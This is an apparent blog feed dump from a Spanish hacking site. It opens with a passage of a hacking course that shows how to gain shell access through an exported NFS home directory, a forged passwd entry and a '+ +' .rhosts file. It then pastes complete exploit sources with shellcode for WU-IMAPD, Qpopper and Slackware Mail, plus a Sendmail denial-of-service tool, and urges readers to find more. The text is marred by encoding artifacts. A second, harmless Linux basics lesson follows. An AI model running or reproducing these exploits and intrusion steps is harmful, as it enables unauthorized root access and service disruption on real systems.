warppers)   debemos  intentar   escribir  una   &#8220;+&#8221;  en   ~/.rhosts  o<br />
/etc/hosts.equiv.  Muchos  ya vienen  con  la  entrada  &#8220;+&#8221; en  dichos<br />
archivos por defecto  y eso significa que cualquier  otra maquina sera<br />
un &#8220;trusted  hosts&#8221;. Voy a  ilustrar esto con  un ejemplito de  lo mas<br />
interesante. Supongamos  que sabemos  que en nuestro  sistema objetivo<br />
estan activos los servicios rlogin, mountd y nfs. Si hacemos</p>
<p>#&gt;showmount -e objetivo.net<br />
y nos sale</p>
<p>/home</p>
<p>Lo primero que haremos sera crear un directorio para montar /home</p>
<p>#&gt;mkdir patapalo</p>
<p>#&gt;mount -nt nfs objetivo.net:/home /patapalo</p>
<p>#&gt;ls -la /patapalo<br />
Imaginemos que encontramos la siguiente entrada con UID=3D102:</p>
<p>1 drwx&#8212;&#8212; 15 102 100   1024 Jul 8 18:57 skywalker/</p>
<p>Hacemos una entrada nueva en nuestro fichero de passwd para skywalker pero sin contrase=F1a:</p>
<p>#&gt;echo &#8220;skywalker::102:2::/patapalo: /bin/shi&#8221; &gt;&gt; /etc/passwd</p>
<p>#&gt;su &#8211; skywalker<br />
(sin contrasenya)</p>
<p>Una vez como skywalker, podemos hacer:</p>
<p>#&gt;echo &#8220;+ +&#8221; &gt; skywalker/.rhosts (hacemos que la maquina remota considere a cualquiera, nosotros por ejemplo, como de confianza)</p>
<p>#&gt;cd /</p>
<p>#&gt;rlogin -l skywalker objetivo.net<br />
Wellcome to objetivo.net<br />
=2E..</p>
<p>objetivo.net:~$&gt;</p>
<p>=A1Ya tenemos cuenta en el sistema!</p>
<p>Para desmontar el archivo, salimos del directorio y hacemos</p>
<p>#&gt;umount /patapalo</p>
<p>De todos  modos es muy raro  que pasen estas  cosas&#8230;los tcp warppers<br />
deberian  tener  bien  configurados  sus  ficheros  de  hosts.allow  y<br />
hosts.deny&#8230;pero por  defecto, al instalarse  automaticamente los tcp<br />
warppers en  el sistema (linux  p.ej.)  los ficheros  de configuracion<br />
mencionados estan vacios de reglas de acceso.<br />
3.4 Exploits</p>
<p>Los exploits son procedimientos que nos permiten aprovechar (explotar)<br />
un fallo o vulnerabilidad en  ciertos programas que se ejecutan con el<br />
bit setuid activado y que nos permiten acceder al sistema generalmente<br />
con una rootshell. Si bien la  mayor parte de las veces se utilizan en<br />
acceso  local como  procedimiento para  acceder a  los  privilegios de<br />
root, tambien se usan para el acceso remoto utilizando alguna utilidad<br />
de red como telnet o netcat.</p>
<p>La mayor parte de los  exploits se basan en desbordamientos del buffer<br />
de  la  pila(stack  buffer  overflow).  En el  excelente  articulo  de<br />
AlephOne aparecido en  noviembre de 1996 en el Phrack  (49, file 14) y<br />
titulado  &#8220;Smashing  the  Stack   for  Fun  and  Profit&#8221;  se  describe<br />
minuciosamente  como es  posible desbordar  el buffer  de la  pila del<br />
proceso  y establecer  la direccion  de  retorno para  que se  ejecute<br />
codigo  arbitrario, generalmente  una rutina  en ensamblador  (a veces<br />
llamada  &#8220;egg&#8221;) que  ejecuta /bin/sh  con  privilegio de  root (si  el<br />
programa  tenia  el  bit  setuid  activado).  Esta  vulnerabilidad  la<br />
presentan  en  principio  los  programas  que  llaman  a  determinadas<br />
funciones C tales como strcpy(), strcat() y sprintf() que no verifican<br />
el tama=F1o de los arrays. Hay  un articulo muy sencillo de leer (o lo<br />
habia)  en <a href="http://hello.to/hacker_novatos">http://hello.to/hacker_novatos</a> escrito  por RaiSe  para los<br />
neofitos, pero debeis de tener  al menos unas nociones de programacion<br />
C,  la  distribucion en  la  memoria  de un  proceso  unix  y algo  de<br />
ensamblador (CPU Intel  y linux como so). Yo por  mi me enrrollaria un<br />
poco con  el tema  porque es apasionante  y es  relativamente sencillo<br />
escribir nuestros  propios exploits&#8230;pero  eso sera otra  historia si<br />
Dios quiere  que disponga de tiempo  para hacer una  introduccion a la<br />
realizacion de exploits. Basta decir que si visitamos la pagina</p>
<p><a href="http://www.rootshell.com">http://www.rootshell.com</a></p>
<p>y buscamos en  &#8220;exploits&#8221; encontraremos de todo. En  cada uno de ellos<br />
se explica el  modus operandi para aplicarlos. Yo  he recogido algunos<br />
recientitos para Linuxy los pego a continuacion:</p>
<p>**Uno para imap, del 98</p>
<p>&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;-/begin imap exploit&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;-</p>
<p>/*</p>
<p>THIS IS UNPUBLISHED PROPRIETARY SOURCE CODE OF THE ADM CREW<br />
�<br />
Linux WU-IMAPD 4.1 remote root exploit (4/98)<br />
by   ndubee||plaguez<br />
<a href="mailto:dube0866@eurobretagne.fr">dube0866@eurobretagne.fr</a></p>
<p>Usage:   ./imapx &lt;offset&gt;<br />
�<br />
where offset =3D -500..500  (brute force if 0 doesnt work)</p>
<p>Credits:<br />
- Cheez Whiz (original x86 BSD exploit)<br />
- #!w00w00 and #!ADM</p>
<p>Note:<br />
if you plan to port this to other OS., make sure the<br />
shellcode doesn&#8217;t contain lower case chars since imapd<br />
will toupper() the shellcode, thus fucking it up.</p>
<p>*/</p>
<p>#include &lt;stdio.h&gt;<br />
#include &lt;stdlib.h&gt;<br />
#include &lt;limits.h&gt;<br />
#include &lt;string.h&gt;<br />
#define BUFLEN 2048<br />
#define NOP 0&#215;90</p>
<p>char shell[] =3D<br />
/*<br />
jmp 56<br />
popl %esi<br />
movl    %esi,%ebx<br />
movl    %ebx,%eax<br />
�<br />
addb    $0&#215;20,0&#215;1(%esi)<br />
addb    $0&#215;20,0&#215;2(%esi)<br />
addb    $0&#215;20,0&#215;3(%esi)<br />
addb    $0&#215;20,0&#215;5(%esi)<br />
addb    $0&#215;20,0&#215;6(%esi)<br />
�<br />
movl    %esi,%edi<br />
addl    $0&#215;7,%edi<br />
xorl    %eax,%eax<br />
stosb   %al,%es:(%edi)<br />
movl    %edi,%ecx<br />
movl    %esi,%eax<br />
stosl   %eax,%es:(%edi)<br />
movl    %edi,%edx<br />
xorl    %eax,%eax<br />
stosl   %eax,%es:(%edi)<br />
movb    $0&#215;8,%al<br />
addb    $0&#215;3,%al<br />
int     $0&#215;80<br />
xorl    %ebx,%ebx<br />
movl    %ebx,%eax<br />
incl    %eax<br />
int     $0&#215;80<br />
call   -61<br />
.string \&#8221;/BIN/SH\&#8221;<br />
.byte   0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff  ;markup</p>
<p>*/</p>
<p>&#8220;\xeb\x38\x5e\x89\xf3\x89\xd8\x80&#8243;<br />
&#8220;\x46\x01\x20\x80\x46\x02\x20\x80&#8243;<br />
&#8220;\x46\x03\x20\x80\x46\x05\x20\x80&#8243;<br />
&#8220;\x46\x06\x20\x89\xf7\x83\xc7\x07&#8243;<br />
&#8220;\x31\xc0\xaa\x89\xf9\x89\xf0\xab&#8221;<br />
&#8220;\x89\xfa\x31\xc0\xab\xb0\x08\x04&#8243;<br />
&#8220;\x03\xcd\x80\x31\xdb\x89\xd8\x40&#8243;<br />
&#8220;\xcd\x80\xe8\xc3\xff\xff\xff\x2f&#8221;<br />
&#8220;\x42\x49\x4e\x2f\x53\x48\x00&#8243;;</p>
<p>void<br />
main (int argc, char *argv[])<br />
{<br />
char buf[BUFLEN];<br />
int offset=3D0,nop,i;<br />
unsigned long esp;</p>
<p>fprintf(stderr,&#8221;usage: %s &lt;offset&gt;\n&#8221;, argv[0]);<br />
�<br />
nop =3D 403;<br />
esp =3D 0xbffff520;<br />
if(argc&gt;1)<br />
offset =3D atoi(argv[1]);</p>
<p>memset(buf, NOP, BUFLEN);<br />
memcpy(buf+(long)nop, shell, strlen(shell));<br />
�<br />
for (i =3D 512; i &lt; BUFLEN &#8211; 4; i +=3D 4)<br />
*((int *) &amp;buf[i]) =3D esp + (long) offset;</p>
<p>printf(&#8220;* AUTHENTICATE {%d}\r\n&#8221;, BUFLEN);<br />
for (i =3D 0; i &lt; BUFLEN; i++)<br />
putchar(buf[i]);<br />
�<br />
printf(&#8220;\r\n&#8221;);</p>
<p>return;<br />
}<br />
&#8212;&#8212;&#8212;&#8212;&#8211;/end imap exploit&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8211;<br />
**Otro para qpop3</p>
<p>&#8212;&#8212;&#8212;&#8212;&#8212;&#8211;/begin qpop3 exploit&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8211;<br />
/*<br />
* !Hispahack Research Team<br />
* <a href="http://hispahack.ccc.de">http://hispahack.ccc.de</a><br />
*<br />
* By Zhodiac &lt;<a href="mailto:zhodiac@softhome.net">zhodiac@softhome.net</a>&gt;<br />
*<br />
* Linux (x86) Qpopper xploit 3.0beta29 or lower (not 2.53)<br />
* Overflow at pop_list()-&gt;pop_msg()<br />
*<br />
* Tested: 3.0beta28  offset=3D0<br />
*         3.0beta26  offset=3D0<br />
*         3.0beta25  offset=3D0<br />
*<br />
* #include &lt;standar/disclaimer.h&gt;<br />
*<br />
* This code is dedicated to my love [CrAsH]] and to all the people who<br />
* were raided in Spain in the last few days.<br />
*<br />
* Madrid 10/1/2000<br />
*<br />
*/</p>
<p>#include &lt;stdio.h&gt;</p>
<p>#define BUFFERSIZE 1004<br />
#define NOP 0&#215;90<br />
#define OFFSET 0xbfffd9c4</p>
<p>char shellcode[]=3D<br />
&#8220;\xeb\x22\x5e\x89\xf3\x89\xf7\x83\xc7\x07\x31\xc0\xaa\x89\xf9\x89&#8243;<br />
&#8220;\xf0\xab\x89\xfa\x31\xc0\xab\xb0\x08\x04\x03\xcd\x80\x31\xdb\x89&#8243;<br />
&#8220;\xd8\x40\xcd\x80\xe8\xd9\xff\xff\xff/bin/sh&#8221;;<br />
void usage(char *progname) {<br />
fprintf(stderr,&#8221;Usage: (%s &lt;login&gt; &lt;password&gt; [&lt;offset&gt;]; cat) | nc &lt;target&gt; 110&#8243;,progname);<br />
exit(1);<br />
}</p>
<p>int main(int argc, char **argv) {<br />
char *ptr,buffer[BUFFERSIZE];<br />
unsigned long *long_ptr,offset=3DOFFSET;<br />
int aux;</p>
<p>fprintf(stderr,&#8221;\n!Hispahack Research Team (<a href="http://hispahack.ccc.de)\n">http://hispahack.ccc.de)\n</a>&#8220;);<br />
fprintf(stderr,&#8221;Qpopper xploit by Zhodiac &lt;<a href="mailto:zhodiac@softhome.net&gt;\n\n">zhodiac@softhome.net&gt;\n\n</a>&#8220;);</p>
<p>if (argc&lt;3) usage(argv[0]);</p>
<p>if (argc=3D=3D4) offset+=3Datol(argv[3]);</p>
<p>ptr=3Dbuffer;<br />
memset(ptr,0,sizeof(buffer));<br />
memset(ptr,NOP,sizeof(buffer)-strlen(shellcode)-16);<br />
ptr+=3Dsizeof(buffer)-strlen(shellcode)-16;<br />
memcpy(ptr,shellcode,strlen(shellcode));<br />
ptr+=3Dstrlen(shellcode);<br />
long_ptr=3D(unsigned long*)ptr;<br />
for(aux=3D0;aux&lt;4;aux++) *(long_ptr++)=3Doffset;<br />
ptr=3D(char *)long_ptr;<br />
*ptr=3D&#8217;\0&#8242;;</p>
<p>fprintf(stderr,&#8221;Buffer size: %d\n&#8221;,strlen(buffer));<br />
fprintf(stderr,&#8221;Offset: 0x%lx\n\n&#8221;,offset);</p>
<p>printf(&#8220;USER %s\n&#8221;,argv[1]);<br />
sleep(1);<br />
printf(&#8220;PASS %s\n&#8221;,argv[2]);<br />
sleep(1);<br />
printf(&#8220;LIST 1 %s\n&#8221;,buffer);<br />
sleep(1);<br />
printf(&#8220;uname -a; id\n&#8221;);</p>
<p>return(0);<br />
}</p>
<p>&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;/end qpop exploit&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8211;<br />
**Otro para sendmail</p>
<p>&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8211;/begin sendmail exploit&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;<br />
/*<br />
against.c &#8211; Another Sendmail (and pine <img src='http://www.hackindex.com/wp-includes/images/smilies/icon_wink.gif' alt=';-)' class='wp-smiley' />  DoS (up to 8.9.2)<br />
(c) 1999 by &lt;<a href="mailto:marchew@linux.lepszy.od.kobiety.pl">marchew@linux.lepszy.od.kobiety.pl</a>&gt;</p>
<p>Usage: ./against existing_user_on_victim_host victim_host<br />
Example: ./against nobody lamers.net</p>
<p>*/</p>
<p>#include &lt;stdio.h&gt;<br />
#include &lt;unistd.h&gt;<br />
#include &lt;sys/param.h&gt;<br />
#include &lt;sys/socket.h&gt;<br />
#include &lt;sys/time.h&gt;<br />
#include &lt;netinet/in.h&gt;<br />
#include &lt;netdb.h&gt;<br />
#include &lt;stdarg.h&gt;<br />
#include &lt;errno.h&gt;<br />
#include &lt;signal.h&gt;<br />
#include &lt;getopt.h&gt;<br />
#include &lt;stdlib.h&gt;<br />
#include &lt;string.h&gt;</p>
<p>#define MAXCONN 5<br />
#define LINES   150000</p>
<p>struct hostent *hp;<br />
struct sockaddr_in s;<br />
int suck,loop,x;</p>
<p>int main(int argc,char* argv[]) {<br />
�<br />
printf(&#8220;against.c &#8211; another Sendmail DoS (up to 8.9.2)\n&#8221;);</p>
<p>if (argc-3) {<br />
printf(&#8220;Usage: %s victim_user victim_host\n&#8221;,argv[0]);<br />
exit(0);<br />
}<br />
�<br />
hp=3Dgethostbyname(argv[2]);<br />
�<br />
if (!hp) {<br />
perror(&#8220;gethostbyname&#8221;);<br />
exit(1);<br />
}</p>
<p>fprintf(stderr,&#8221;Doing mess: &#8220;);</p>
<p>for (;loop&lt;MAXCONN;loop++) if (!(x=3Dfork())) {<br />
FILE* d;<br />
bcopy(hp-&gt;h_addr,(void*)&amp;s.sin_addr,hp-&gt;h_length);<br />
s.sin_family=3Dhp-&gt;h_addrtype;<br />
s.sin_port=3Dhtons(25);<br />
if ((suck=3Dsocket(AF_INET,SOCK_STREAM,0))&lt;0) perror(&#8220;socket&#8221;);<br />
if (connect(suck,(struct sockaddr *)&amp;s,sizeof(s))) perror(&#8220;connect&#8221;);<br />
if (!(d=3Dfdopen(suck,&#8221;w&#8221;))) { perror(&#8220;fdopen&#8221;); exit(0); }</p>
<p>usleep(100000);</p>
<p>fprintf(d,&#8221;helo tweety\n&#8221;);<br />
fprintf(d,&#8221;mail from: <a href="mailto:tweety@polbox.com\n">tweety@polbox.com\n</a>&#8220;);<br />
fprintf(d,&#8221;rcpt to: <a href="mailto:%s@%s\n&quot;,argv[1],argv[2">%s@%s\n&#8221;,argv[1],argv[2</a>]);<br />
fprintf(d,&#8221;data\n&#8221;);</p>
<p>usleep(100000);</p>
<p>for(loop=3D0;loop&lt;LINES;loop++) {<br />
if (!(loop%100)) fprintf(stderr,&#8221;.&#8221;);<br />
fprintf(d,&#8221;To: x\n&#8221;);<br />
}</p>
<p>fprintf(d,&#8221;\n\n\nsomedata\n\n\n&#8221;);</p>
<p>fprintf(d,&#8221;.\n&#8221;);</p>
<p>sleep(1);</p>
<p>fprintf(d,&#8221;quit\n&#8221;);<br />
fflush(d);</p>
<p>sleep(100);<br />
shutdown(suck,2);<br />
close(suck);<br />
exit(0);<br />
}</p>
<p>waitpid(x,&amp;loop,0);</p>
<p>fprintf(stderr,&#8221;ok\n&#8221;);</p>
<p>return 0;<br />
}</p>
<p>&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;/end sendmail exploit&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;<br />
**Para terminar uno de Slackware <img src='http://www.hackindex.com/wp-includes/images/smilies/icon_wink.gif' alt=';-)' class='wp-smiley' /> </p>
<p>&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;/begin mail-slack exploit&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;-<br />
/*<br />
* mail-slak.c (C) 2000 Paulo Ribeiro &lt;<a href="mailto:prrar@nitnet.com.br">prrar@nitnet.com.br</a>&gt;<br />
*<br />
* Exploit for /usr/bin/Mail.<br />
* Made specially for Slackware Linux 7.0.<br />
* Based on mailx.c by funkySh.<br />
*<br />
* OBS.: Without fprintf(stderr) is not possible to print the message.<br />
*<br />
* USAGE:<br />
* slack$ ./mail-slak<br />
* type &#8216;.&#8217; and enter: .<br />
* Cc: too long to edit<br />
* sh-2.03$ id<br />
* uid=3D1000(user) gid=3D12(mail) groups=3D100(users)<br />
*/</p>
<p>#include &lt;stdio.h&gt;<br />
#include &lt;stdlib.h&gt;<br />
#include &lt;unistd.h&gt;</p>
<p>char buffer[10000];<br />
char shellcode[] =3D<br />
&#8220;\x31\xdb\x31\xc9\xbb\xff\xff\xff\xff\xb1\x0c\x31&#8243;</p>
<p>&#8220;\xc0\xb0\x47\xcd\x80\x31\xdb\x31\xc9\xb3\x0c\xb1&#8243;</p>
<p>&#8220;\x0c\x31\xc0\xb0\x47\xcd\x80\xeb\x1f\x5e\x89\x76&#8243;</p>
<p>&#8220;\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b\x89&#8243;</p>
<p>&#8220;\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89&#8243;<br />
&#8220;\xd8\x40\xcd\x80\xe8\xdc\xff\xff\xff/bin/sh&#8221;;</p>
<p>unsigned long getesp(void)<br />
{<br />
__asm__(&#8220;movl %esp,%eax&#8221;);<br />
}</p>
<p>int main(int argc, char **argv)<br />
{<br />
int x;<br />
long addr =3D getesp() &#8211; 18000;</p>
<p>memset(buffer, 0&#215;90, 10000);<br />
memcpy(buffer + 800, shellcode, strlen(shellcode));</p>
<p>for(x =3D 876; x &lt; 9998; x +=3D 4)<br />
*(int *)&amp;buffer[x] =3D addr;</p>
<p>fprintf(stderr, &#8220;type &#8216;.&#8217; and enter: &#8220;);</p>
<p>execl(&#8220;/usr/bin/Mail&#8221;, &#8220;/usr/bin/Mail&#8221;, &#8220;nobody&#8221;, &#8220;-s&#8221;,<br />
&#8220;blah&#8221;, &#8220;-c&#8221;, buffer, 0);<br />
}</p>
<p>/* mail-slack.c: EOF */</p>
<p>&#8212;&#8212;&#8212;&#8212;&#8212;&#8211;/end mail-slack exploit&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8211;<br />
Esto  solo ha  sido  una  muestra. Si  en  rootshell.com utilizais  la<br />
untilidad  search podreis  buscar  los exploits  relativos a  aquellos<br />
programas o servicios que os interesen para vuestros fines }:)).</p>
<p>Bueno&#8230;ya esta  bien por esta  entrega. La proxima nos  dedicaremos a<br />
conseguir  privilegios de  root desde  un  acceso local  y a  preparar<br />
nuestras herramientas.</p>
<p>Antes de terminar&#8230;ni se os ocurra intentar entrar en ninguna maquina<br />
remota en  plan novato apenas sabiendo cuatro  cosas, porque dejariais<br />
unas huellas y vestigios que os delatarian ipso facto. Ya a medida que<br />
avancemos  os  dire  algunas  cosillas  fundamentales  para  ser  casi<br />
invisible&#8230;pero  no todavia.  Por  ultimo, aunque  no quiero  meteros<br />
mucha  tela, existen una  serie de  escaners que  auditan redes  y que<br />
delatan  diversos  fallos de  seguridad  y vulnerabilidades.  Anta=F1o<br />
estaba sscan, pero ahora es  mucho mejor usar saint o nessus&#8230;pero ya<br />
os dire como.</p>
<p>Tened cuidado ahi dentro ;-P</p>
<p>�<br />
&#8212;&#8212;&#8212;&#8212;&#8211;2EC61C705517942E3D414456&#8211;</p>
<p><a class="a2a_dd addtoany_share_save" href="http://www.addtoany.com/share_save"><img src="http://www.hackindex.com/wp-content/plugins/add-to-any/share_save_171_16.gif" width="171" height="16" alt="Share/Bookmark"/></a> </p>

<p>No related posts.</p>
<p>Related posts brought to you by <a href='http://mitcho.com/code/yarpp/'>Yet Another Related Posts Plugin</a>.</p>]]></content:encoded>
			<wfw:commentRss>http://www.hackindex.com/index.php/2001/06/curso-practico-de-hacking-cph-iii/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>La Pantalla Negra IV</title>
		<link>http://www.hackindex.com/index.php/2001/06/la-pantalla-negra-iv/</link>
		<comments>http://www.hackindex.com/index.php/2001/06/la-pantalla-negra-iv/#comments</comments>
		<pubDate>Fri, 15 Jun 2001 22:12:33 +0000</pubDate>
		<dc:creator>Lokutus</dc:creator>
				<category><![CDATA[Articulos]]></category>
		<category><![CDATA[Cursos]]></category>
		<category><![CDATA[Linux]]></category>
		<category><![CDATA[curso de linux]]></category>
		<category><![CDATA[hackindex]]></category>
		<category><![CDATA[linux]]></category>
		<category><![CDATA[lokutus]]></category>
		<category><![CDATA[sistemas operativos]]></category>

		<guid isPermaLink="false">http://www.hackindex.com/?p=227</guid>
		<description><![CDATA[##################################### ## HACKINDEX ## ## http://www.hackindex.org ## ##################################### Titulo: La pantalla negra IV Autor: Lokutus Tema: Linux La información incluída en este documento es expuesta en base a un interés educativo. HackIndex no se hace responsable del uso de dicha información. El siguiente documento es propiedad de HackIndex y de su autor, pudiendo ser distribuído [...]


No related posts.

Related posts brought to you by <a href='http://mitcho.com/code/yarpp/'>Yet Another Related Posts Plugin</a>.]]></description>
			<content:encoded><![CDATA[<p>#####################################<br />
## HACKINDEX ##<br />
## <a href="http://www.hackindex.org">http://www.hackindex.org</a> ##<br />
#####################################<br />
Titulo: La pantalla negra IV<br />
Autor: Lokutus<br />
Tema: Linux</p>
<p>La información incluída en este documento es expuesta en base a un interés educativo. HackIndex no se hace responsable del uso de dicha información.</p>
<p>El siguiente documento es propiedad de HackIndex y de su autor, pudiendo ser distribuído de forma totalmente libre y sobre cualquier tipo de soporte siempre y cuando se respete el formato original, se cite a A.H.E. como fuente, se incluya un enlace actualizado al documento o a la web del grupo: <a href="http://www.hackindex.org">http://www.hackindex.org</a> ; y se incluya este disclaimer en su totalidad y sin modificación alguna.</p>
<p>Queda extrictamente prohibida su distribución con fines lucrativos, cuando se altere su contenido sin consentimiento o cuando se incumpla cualquier otra condicion citada anteriormente en el presente disclaimer.<br />
#####################################</p>
<p>Y una vez más entramos en nuestro sistema. Vamos a ver que tipos de ficheros tenemos.</p>
<table style="font-size: x-small; margin-left: 2em; width: 95%; color: white; margin-right: 2em; font-family: Courier New, serif; background-color: black;" border="0">
<tbody>
<tr>
<td>Linux Debian (Potatoe)Login: genaro<br />
password:<br />
[genaro]$_</td>
</tr>
</tbody>
</table>
<p>Vimos en un capítulo anterior, que con la órden &#8220;cat&#8221;, podemos ver el contenido de un fichero.</p>
<table style="font-size: x-small; margin-left: 2em; width: 95%; color: white; margin-right: 2em; font-family: Courier New, serif; background-color: black;" border="0">
<tbody>
<tr>
<td>[genaro]$ cat fichero.txt<br />
Esto es el contenido de mi fichero<br />
[genaro]$ _</td>
</tr>
</tbody>
</table>
<p>Pero vamos a cotillear otros ficheros, (si estas accediendo con un telnet no hagas la siguiente órden), por ejemplo, vamos a ver que tiene el fichero &#8220;less&#8221; por dentro.</p>
<table style="font-size: x-small; margin-left: 2em; width: 95%; color: white; margin-right: 2em; font-family: Courier New, serif; background-color: black;" border="0">
<tbody>
<tr>
<td>[genaro]$ cat /usr/bin/less<br />
dsfgvrtyv456v3ty 45 tg fgf f wf werv345v<br />
v 4345v2345v45v3 (pitido)sdf df sdfsd(pitido)<br />
df f wef wefwe(requetepitido) sdf sdf df sdfsdf<br />
[cosas muy raras]$ _</td>
</tr>
</tbody>
</table>
<p>Hemos visto aparecer en la pantalla una sucesión de símbolos raros, pitidos, e incluso, se nos ha desconfigurado la consola.</p>
<p>Si tecleamos algo, las letras han sido cambiadas por símbolos semigráficos.</p>
<p>Para dejar la consola como estaba, se usa la órden &#8220;reset&#8221;, también se restaura solo cada vez que se rearranca el ordenador, aunque de todas formas, cada vez es más raro que se desconfigure el terminal.</p>
<p>Vamos a entrar en otra sesión. Linux, puede disponer en su consola de varias sesiones virtuales, por defecto hasta siete, pulsando la combinación de teclas &#8220;Alt + F2&#8243;, vamos a la sesión 2, para volver pues &#8220;Alt + F1&#8243;, podemos combinar &#8220;Alt &#8221; con las teclas F1 hasta F6. F7 normalmente está reservada para XWindow, y para conmutar de X Window a modo texto, es necesario pulsar además la tecla &#8220;Control&#8221;.</p>
<table style="font-size: x-small; margin-left: 2em; width: 95%; color: white; margin-right: 2em; font-family: Courier New, serif; background-color: black;" border="0">
<tbody>
<tr>
<td>Linux Debian (Potatoe)Login: genaro<br />
password:<br />
[genaro]$ _</td>
</tr>
</tbody>
</table>
<p>Cuando hemos volcado el fichero &#8220;less&#8221;, nos ha salido los símbolos raros, por que &#8220;less&#8221; no es un fichero para ser leido, no es un fichero de texto plano, y puede contener, y contiene carácteres que no son imprimibles en la salida estandar.</p>
<p>Para saber que tipo de fichero es un fichero determinado, tenemos la órden &#8220;file&#8221;.</p>
<table style="font-size: x-small; margin-left: 2em; width: 95%; color: white; margin-right: 2em; font-family: Courier New, serif; background-color: black;" border="0">
<tbody>
<tr>
<td>[genaro]$ file /usr/doc/FAQ/txt/Linux-FAQ<br />
/usr/doc/FAQ/txt/Linux-FAQ: English Text<br />
[genaro]$ file /usr/doc/FAQ/html/Linux-FAQ-1.html<br />
/usr/doc/FAQ/html/Linux-FAQ-1.html:HTML document text<br />
[genaro]$ file /usr/bin/less<br />
/usr/bin/less: ELF 32-bit LSB executable, Intel 80386, version 1,dynamically linked (uses shared libs), stripped<br />
[genaro] _</td>
</tr>
</tbody>
</table>
<p>Del primer documento nos dice que es de texto, o sea, se puede volcar con &#8220;cat&#8221;, del segundo, que es html, también se puede volcar, aunque veremos el fuente en HTML, y no como lo veríamos con un navegador como el Linx. Y del tercero, nos dice que es un programa. Con este programa, podemos ver los otros dos ficheros.</p>
<p>El comando file, reconoce entre muchos tipos de ficheros, gif, jpeg, midi, y incluso ejecutables de otros sistemas operativos, y no se deja engañar por la extensión del fichero.</p>
<p>Los ficheros, además de crearlos con un editor de textos, se pueden copiar, mover, y borrar.</p>
<table style="font-size: x-small; margin-left: 2em; width: 95%; color: white; margin-right: 2em; font-family: Courier New, serif; background-color: black;" border="0">
<tbody>
<tr>
<td>[genaro]$ cp /usr/bin/less .<br />
[genaro]$ ls -l less<br />
-rwxr-xr-x 1 genaro users 81236 Mar 21 22:54 less<br />
[genaro]$ _</td>
</tr>
</tbody>
</table>
<p>Con la órden anterior, &#8220;cp&#8221;, hemos copiado el fichero less a nuestro directorio de trabajo, y como esta copia es nuestra, el propietario del fichero es &#8220;genaro&#8221;, y el grupo propietario es &#8220;users&#8221;. Con el puntito, hemos indicado el directorio al que queremos copiar el fichero, puesto que &#8220;cp&#8221; no permite omitir el segundo parámetro y que se tome el directorio actual como destino.</p>
<p>Vamos a observar por un momento el programa &#8220;less&#8221; original.</p>
<table style="font-size: x-small; margin-left: 2em; width: 95%; color: white; margin-right: 2em; font-family: Courier New, serif; background-color: black;" border="0">
<tbody>
<tr>
<td>[genaro]$ ls -l /usr/bin/less<br />
-rwxr-xr-x 1 root root 81236 Aug 28 1999 /usr/bin/less</td>
</tr>
</tbody>
</table>
<p>El tamaño es el mismo, pero pertenece al usuario &#8220;root&#8221;, o sea, el superusuario, y su grupo propietario es &#8220;root&#8221;, la fecha de creación también a cambiado.</p>
<p>Si observamos los permisos del fichero,</p>
<table style="font-size: x-small; margin-left: 2em; width: 95%; color: white; margin-right: 2em; font-family: Courier New, serif; background-color: black;" border="0">
<tbody>
<tr>
<td>-rwxr-xr-x</td>
</tr>
</tbody>
</table>
<p>El propietario del fichero, o sea, root, es el único que puede escribir en less (rwx), el grupo propietario sólo puede leer y ejecutar como programa (r-x), y nosotros, los demás usuarios, igual, (r-x).</p>
<p>El primer carácter, indica tipo de fichero:</p>
<p>&#8220;-&#8221; Fichero ordinario, como programas, mpeg, mp3, txt, &#8230;<br />
&#8220;d&#8221; Directorio, se accede a el con &#8220;cd&#8221;, &#8220;ls&#8221;, etc.<br />
&#8220;c&#8221; Fichero de control de dispositivo en modo caracter.<br />
&#8220;b&#8221; Fichero de control de dispositivo en modo bloque.<br />
&#8220;s&#8221; Socket de tipo Unix.<br />
&#8220;l&#8221; Enlace simbólico.</p>
<p>Si observamos nuestro fichero, tiene los mismos permisos, &#8220;-rwxr-xr-x&#8221;, pero como nosotros somos el propietario del fichero, podemos escribir en el, e incluso podemos borrarlo si queremos.</p>
<p><strong>TIP:</strong> el usuario &#8220;root&#8221;, también puede acceder y escribir en nuestros ficheros aunque quitemos los permisos.</p>
<table style="font-size: x-small; margin-left: 2em; width: 95%; color: white; margin-right: 2em; font-family: Courier New, serif; background-color: black;" border="0">
<tbody>
<tr>
<td>[genaro]$ mkdir OtroDir<br />
[genaro]$ cd OtroDir<br />
[OtroDir]$ _</td>
</tr>
</tbody>
</table>
<p>Creamos una carpeta nueva, y entramos en ella. Vamos a mover el fichero &#8220;less&#8221;</p>
<table style="font-size: x-small; margin-left: 2em; width: 95%; color: white; margin-right: 2em; font-family: Courier New, serif; background-color: black;" border="0">
<tbody>
<tr>
<td>[OtroDir]$ mv ../less .<br />
[OtroDir]$ ls -l<br />
-rwxr-xr-x 1 genaro users 81236 Mar 21 22:54 less<br />
[OtroDir]$ _</td>
</tr>
</tbody>
</table>
<p>Si queremos borrarlo, usamos la órden rm</p>
<table style="font-size: x-small; margin-left: 2em; width: 95%; color: white; margin-right: 2em; font-family: Courier New, serif; background-color: black;" border="0">
<tbody>
<tr>
<td>[OtroDir]$ rm less<br />
[OtroDir]$ _</td>
</tr>
</tbody>
</table>
<p>Nuestra copia de &#8220;less&#8221; ya no existe. Un poco de teoría:</p>
<p>¿Sabéis lo que es un inode?.</p>
<p>Supongamos que tenemos una partición vacía de cualquier sistema operativo tipo Unix, SCO, BSD, ext2fs &#8230;</p>
